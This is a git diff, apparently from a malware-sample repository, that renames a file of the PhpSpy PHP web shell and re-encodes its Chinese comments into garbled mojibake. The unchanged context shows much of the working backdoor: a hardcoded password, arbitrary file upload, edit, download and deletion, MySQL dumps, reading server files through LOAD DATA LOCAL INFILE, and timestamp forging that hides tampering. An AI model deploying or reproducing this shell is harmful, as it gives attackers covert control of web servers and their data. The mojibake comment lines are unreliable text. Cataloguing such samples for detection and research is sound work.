diff --git a/PHP/Trojan-Spy.PHP.PhPen.f b/PHP/Backdoor.PHP.Phpshy.a.s
similarity index 93%
rename from PHP/Trojan-Spy.PHP.PhPen.f
rename to PHP/Backdoor.PHP.Phpshy.a.s
index c067305ba61fee1abf3e0b8aadc87e9378a67d10..5edf959ad26b8cf6a34bb92caf4ddc0ee6a2a81a 100644
--- a/PHP/Trojan-Spy.PHP.PhPen.f
+++ b/PHP/Backdoor.PHP.Phpshy.a.s
@@ -2,17 +2,17 @@
 
 /*****************************************************************************
 
-===================== 请误用于非法用途,造成一切后果与本人无关。====================
+===================== 璇疯鐢ㄤ簬闈炴硶鐢ㄩ€旓紝閫犳垚涓€鍒囧悗鏋滀笌鏈汉鏃犲叧銆�====================
 
-发布此版本是为了纪念安全天使曾经的辉煌。
+鍙戝竷姝ょ増鏈槸涓轰簡绾康瀹夊叏澶╀娇鏇剧粡鐨勮緣鐓屻€�
 
-感谢你们与我一同走过:Sniper\Super·Hei\kEvin1986\saiy\wofeiwo。
+鎰熻阿浣犱滑涓庢垜涓€鍚岃蛋杩囷細Sniper\Super路Hei\kEvin1986\saiy\wofeiwo銆�
 
-感谢所有的朋友们、兄弟们。多谢你们的关心和支持!
+鎰熻阿鎵€鏈夌殑鏈嬪弸浠€佸厔寮熶滑銆傚璋綘浠殑鍏冲績鍜屾敮鎸侊紒
 
-选择在1月7日发布是为了纪念我老婆的生日,预祝我在本命年里。咸鱼翻身!
+閫夋嫨鍦�1鏈�7鏃ュ彂甯冩槸涓轰簡绾康鎴戣€佸﹩鐨勭敓鏃ワ紝棰勭鎴戝湪鏈懡骞撮噷銆傚捀楸肩炕韬紒
 
-====================== 最后预祝安全天使的每一位朋友飞黄腾达 =======================
+====================== 鏈€鍚庨绁濆畨鍏ㄥぉ浣跨殑姣忎竴浣嶆湅鍙嬮榛勮吘杈� =======================
 
 Codz by angel(4ngel)
 
@@ -47,23 +47,23 @@ foreach(array('_GET','_POST') as $_request) {
 	}
 }
 
-/*===================== 程序配置 =====================*/
+/*===================== 绋嬪簭閰嶇疆 =====================*/
 $admin = array();
-// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
+// 鏄惁闇€瑕佸瘑鐮侀獙璇�, true 涓洪渶瑕侀獙璇�, false 涓虹洿鎺ヨ繘鍏�.涓嬮潰閫夐」鍒欐棤鏁�
 $admin['check'] = true;
-// 如果需要密码验证,请修改登陆密码
+// 濡傛灉闇€瑕佸瘑鐮侀獙璇�,璇蜂慨鏀圭櫥闄嗗瘑鐮�
 $admin['pass']  = 'kolya';
 
-//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
-// cookie 前缀
+//濡傛偍瀵� cookie 浣滅敤鑼冨洿鏈夌壒娈婅姹�, 鎴栫櫥褰曚笉姝e父, 璇蜂慨鏀逛笅闈㈠彉閲�, 鍚﹀垯璇蜂繚鎸侀粯璁�
+// cookie 鍓嶇紑
 $admin['cookiepre'] = '';
-// cookie 作用域
+// cookie 浣滅敤鍩�
 $admin['cookiedomain'] = '';
-// cookie 作用路径
+// cookie 浣滅敤璺緞
 $admin['cookiepath'] = '/';
-// cookie 有效期
+// cookie 鏈夋晥鏈�
 $admin['cookielife'] = 86400;
-/*===================== 配置结束 =====================*/
+/*===================== 閰嶇疆缁撴潫 =====================*/
 
 if ($charset == 'utf8') {
 	header("content-Type: text/html; charset=utf-8");
@@ -78,7 +78,7 @@ if ($charset == 'utf8') {
 $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
 $timestamp = time();
 
-/*===================== 身份验证 =====================*/
+/*===================== 韬唤楠岃瘉 =====================*/
 if ($action == "logout") {
 	scookie('phpspypass', '', -86400 * 365);
 	p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
@@ -102,11 +102,11 @@ if($admin['check']) {
 		loginpage();
 	}
 }
-/*===================== 验证结束 =====================*/
+/*===================== 楠岃瘉缁撴潫 =====================*/
 
 $errmsg = '';
 
-// 查看PHPINFO
+// 鏌ョ湅PHPINFO
 if ($action == 'phpinfo') {
 	if (IS_PHPINFO) {
 		phpinfo();
@@ -115,7 +115,7 @@ if ($action == 'phpinfo') {
 	}
 }
 
-// 下载文件
+// 涓嬭浇鏂囦欢
 if ($doing == 'downfile' && $thefile) {
 	if (!@file_exists($thefile)) {
 		$errmsg = 'The file you want Downloadable was nonexistent';
@@ -129,7 +129,7 @@ if ($doing == 'downfile' && $thefile) {
 	}
 }
 
-// 直接下载备份数据库
+// 鐩存帴涓嬭浇澶囦唤鏁版嵁搴�
 if ($doing == 'backupmysql' && !$saveasfile) {
 	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
 	$table = array_flip($table);
@@ -148,7 +148,7 @@ if ($doing == 'backupmysql' && !$saveasfile) {
 	exit;
 }
 
-// 通过MYSQL下载文件
+// 閫氳繃MYSQL涓嬭浇鏂囦欢
 if($doing=='mysqldown'){
 	if (!$dbname) {
 		$errmsg = 'Please input dbname';
@@ -161,7 +161,7 @@ if($doing=='mysqldown'){
 			if(!$result){
 				q("DROP TABLE IF EXISTS tmp_angel;");
 				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
-				//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
+				//鐢ㄦ椂闂存埑鏉ヨ〃绀烘埅鏂�,閬垮厤鍑虹幇璇诲彇鑷韩鎴栧寘鍚玙_angel_1111111111_eof__鐨勬枃浠舵椂涓嶅畬鏁寸殑鎯呭喌
 				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
 				$result = q("select content from tmp_angel");
 				q("DROP TABLE tmp_angel");
@@ -247,7 +247,7 @@ formfoot();
 
 $errmsg && m($errmsg);
 
-// 获取当前路径
+// 鑾峰彇褰撳墠璺緞
 !$dir && $dir = '.';
 $nowpath = getPath(SA_ROOT, $dir);
 if (substr($dir, -1) != '/') {
@@ -257,10 +257,10 @@ $uedir = ue($dir);
 
 if (!$action || $action == 'file') {
 
-	// 判断读写情况
+	// 鍒ゆ柇璇诲啓鎯呭喌
 	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
 
-	// 删除目录
+	// 鍒犻櫎鐩綍
 	if ($doing == 'deldir' && $thefile) {
 		if (!file_exists($thefile)) {
 			m($thefile.' directory does not exist');
@@ -269,7 +269,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 创建目录
+	// 鍒涘缓鐩綍
 	elseif ($newdirname) {
 		$mkdirs = $nowpath.$newdirname;
 		if (file_exists($mkdirs)) {
@@ -280,19 +280,19 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 上传文件
+	// 涓婁紶鏂囦欢
 	elseif ($doupfile) {
 		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
 	}
 
-	// 编辑文件
+	// 缂栬緫鏂囦欢
 	elseif ($editfilename && $filecontent) {
 		$fp = @fopen($editfilename,'w');
 		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
 		@fclose($fp);
 	}
 
-	// 编辑文件属性
+	// 缂栬緫鏂囦欢灞炴€�
 	elseif ($pfile && $newperm) {
 		if (!file_exists($pfile)) {
 			m('The original file does not exist');
@@ -302,7 +302,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 改名
+	// 鏀瑰悕
 	elseif ($oldname && $newfilename) {
 		$nname = $nowpath.$newfilename;
 		if (file_exists($nname) || !file_exists($oldname)) {
@@ -312,7 +312,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 复制文件
+	// 澶嶅埗鏂囦欢
 	elseif ($sname && $tofile) {
 		if (file_exists($tofile) || !file_exists($sname)) {
 			m('The goal file has already existed or original file does not exist');
@@ -321,7 +321,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 克隆时间
+	// 鍏嬮殕鏃堕棿
 	elseif ($curfile && $tarfile) {
 		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
 			m('The goal file has already existed or original file does not exist');
@@ -331,7 +331,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 自定义时间
+	// 鑷畾涔夋椂闂�
 	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
 		if (!@file_exists($curfile)) {
 			m(basename($curfile).' does not exist');
@@ -341,7 +341,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 打包下载
+	// 鎵撳寘涓嬭浇
 	elseif($doing == 'downrar') {
 		if ($dl) {
 			$dfiles='';
@@ -363,7 +363,7 @@ if (!$action || $action == 'file') {
 		}
 	}
 
-	// 批量删除文件
+	// 鎵归噺鍒犻櫎鏂囦欢
 	elseif($doing == 'delfiles') {
 		if ($dl) {
 			$dfiles='';
@@ -375,13 +375,13 @@ if (!$action || $action == 'file') {
 					$fail++;
 				}
 			}
-			m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
+			m('Deleted file have finished锛宑hoose '.count($dl).' success '.$succ.' fail '.$fail);
 		} else {
 			m('Please select file(s)');
 		}
 	}
 
-	//操作完毕
+	//鎿嶄綔瀹屾瘯
 	formhead(array('name'=>'createdir'));
 	makehide('newdirname');
 	makehide('dir',$nowpath);
@@ -516,14 +516,14 @@ function godir(dir,view_writable){
 
 	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
 
-	//查看所有可写文件和目录
+	//鏌ョ湅鎵€鏈夊彲鍐欐枃浠跺拰鐩綍
 	$dirdata=array();
 	$filedata=array();
 
 	if ($view_writable) {
 		$dirdata = GetList($nowpath);
 	} else {
-		// 目录列表
+		// 鐩綍鍒楄〃
 		$dirs=@opendir($dir);
 		while ($file=@readdir($dirs)) {
 			$filepath=$nowpath.$file;
@@ -826,7 +826,7 @@ function settable(tablename,doing,page) {
 }
 </script>
 <?php
-	//操作记录
+	//鎿嶄綔璁板綍
 	formhead(array('name'=>'recordlist'));
 	makehide('doing');
 	makehide('action','sqladmin');
@@ -835,7 +835,7 @@ function settable(tablename,doing,page) {
 	p($dbform);
 	formfoot();
 
-	//选定数据库
+	//閫夊畾鏁版嵁搴�
 	formhead(array('name'=>'setdbname'));
 	makehide('action','sqladmin');
 	p($dbform);
@@ -844,7 +844,7 @@ function settable(tablename,doing,page) {
 	}
 	formfoot();
 
-	//选定表
+	//閫夊畾琛�
 	formhead(array('name'=>'settable'));
 	makehide('action','sqladmin');
 	p($dbform);
@@ -864,12 +864,12 @@ function settable(tablename,doing,page) {
 	}
 	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
 		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
-		//获取数据库信息
+		//鑾峰彇鏁版嵁搴撲俊鎭�
 		$mysqlver = mysql_get_server_info();
 		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
 		$highver = $mysqlver > '4.1' ? 1 : 0;
 
-		//获取数据库
+		//鑾峰彇鏁版嵁搴�
 		$query = q("SHOW DATABASES");
 		$dbs = array();
 		$dbs[] = '-- Select a database --';
@@ -1347,7 +1347,7 @@ else {
 <?php
 
 /*======================================================
-函数库
+鍑芥暟搴�
 ======================================================*/
 
 function m($msg) {
@@ -1397,7 +1397,7 @@ function multi($num, $perpage, $curpage, $tablename) {
 	}
 	return $multipage;
 }
-// 登陆入口
+// 鐧婚檰鍏ュ彛
 function loginpage() {
 ?>
 	<style type="text/css">
@@ -1452,7 +1452,7 @@ function cf($fname,$text){
 	}
 }
 
-// 页面调试信息
+// 椤甸潰璋冭瘯淇℃伅
 function debuginfo() {
 	global $starttime;
 	$mtime = explode(' ', microtime());
@@ -1460,7 +1460,7 @@ function debuginfo() {
 	echo 'Processed in '.$totaltime.' second(s)';
 }
 
-//连接数据库
+//杩炴帴鏁版嵁搴�
 function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
 	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
 		p('<h2>Can not connect to MySQL server</h2>');
@@ -1480,7 +1480,7 @@ function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
 	return $link;
 }
 
-// 去掉转义字符
+// 鍘绘帀杞箟瀛楃
 function s_array(&$array) {
 	if (is_array($array)) {
 		foreach ($array as $k => $v) {
@@ -1492,7 +1492,7 @@ function s_array(&$array) {
 	return $array;
 }
 
-// 清除HTML代码
+// 娓呴櫎HTML浠g爜
 function html_clean($content) {
 	$content = htmlspecialchars($content);
 	$content = str_replace("\n", "<br />", $content);
@@ -1501,7 +1501,7 @@ function html_clean($content) {
 	return $content;
 }
 
-// 获取权限
+// 鑾峰彇鏉冮檺
 function getChmod($filepath){
 	return substr(base_convert(@fileperms($filepath),10,8),-4);
 }
@@ -1544,7 +1544,7 @@ function getUser($filepath)	{
 	return '';
 }
 
-// 删除目录
+// 鍒犻櫎鐩綍
 function deltree($deldir) {
 	$mydir=@dir($deldir);	
 	while($file=$mydir->read())	{ 		
@@ -1562,13 +1562,13 @@ function deltree($deldir) {
 	return @rmdir($deldir) ? 1 : 0;
 }
 
-// 表格行间的背景色替换
+// 琛ㄦ牸琛岄棿鐨勮儗鏅壊鏇挎崲
 function bg() {
 	global $bgc;
 	return ($bgc++%2==0) ? 'alt1' : 'alt2';
 }
 
-// 获取当前的文件系统路径
+// 鑾峰彇褰撳墠鐨勬枃浠剁郴缁熻矾寰�
 function getPath($scriptpath, $nowpath) {
 	if ($nowpath == '.') {
 		$nowpath = $scriptpath;
@@ -1581,7 +1581,7 @@ function getPath($scriptpath, $nowpath) {
 	return $nowpath;
 }
 
-// 获取当前目录的上级目录
+// 鑾峰彇褰撳墠鐩綍鐨勪笂绾х洰褰�
 function getUpPath($nowpath) {
 	$pathdb = explode('/', $nowpath);
 	$num = count($pathdb);
@@ -1593,7 +1593,7 @@ function getUpPath($nowpath) {
 	return $uppath;
 }
 
-// 检查PHP配置参数
+// 妫€鏌HP閰嶇疆鍙傛暟
 function getcfg($varname) {
 	$result = get_cfg_var($varname);
 	if ($result == 0) {
@@ -1605,7 +1605,7 @@ function getcfg($varname) {
 	}
 }
 
-// 检查函数情况
+// 妫€鏌ュ嚱鏁版儏鍐�
 function getfun($funName) {
 	return (false !== function_exists($funName)) ? 'Yes' : 'No';
 }
@@ -1672,7 +1672,7 @@ function sizecount($size) {
 	return $size;
 }
 
-// 压缩打包类
+// 鍘嬬缉鎵撳寘绫�
 class PHPZip{
 	var $out='';
 	function PHPZip($dir)	{
@@ -1680,7 +1680,7 @@ class PHPZip{
 			$curdir = getcwd();
 			if (is_array($dir)) $filelist = $dir;
 			else{
-				$filelist=$this -> GetFileList($dir);//文件列表
+				$filelist=$this -> GetFileList($dir);//鏂囦欢鍒楄〃
 				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
 			}
 			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
@@ -1703,7 +1703,7 @@ class PHPZip{
 		else return 0;
 	}
 
-	// 获得指定目录文件列表
+	// 鑾峰緱鎸囧畾鐩綍鏂囦欢鍒楄〃
 	function GetFileList($dir){
 		static $a;
 		if (is_dir($dir)) {
@@ -1803,7 +1803,7 @@ class PHPZip{
 	}
 }
 
-// 备份数据库
+// 澶囦唤鏁版嵁搴�
 function sqldumptable($table, $fp=0) {
 	$tabledump = "DROP TABLE IF EXISTS $table;\n";
 	$tabledump .= "CREATE TABLE $table (\n";
@@ -1980,11 +1980,11 @@ function formfoot(){
 	p('</form>');
 }
 
-// 调试函数
+// 璋冭瘯鍑芥暟
 function pr($a) {
 	echo '<pre>';
 	print_r($a);
 	echo '</pre>';
 }
 
-?>
\ No newline at end of file
+?>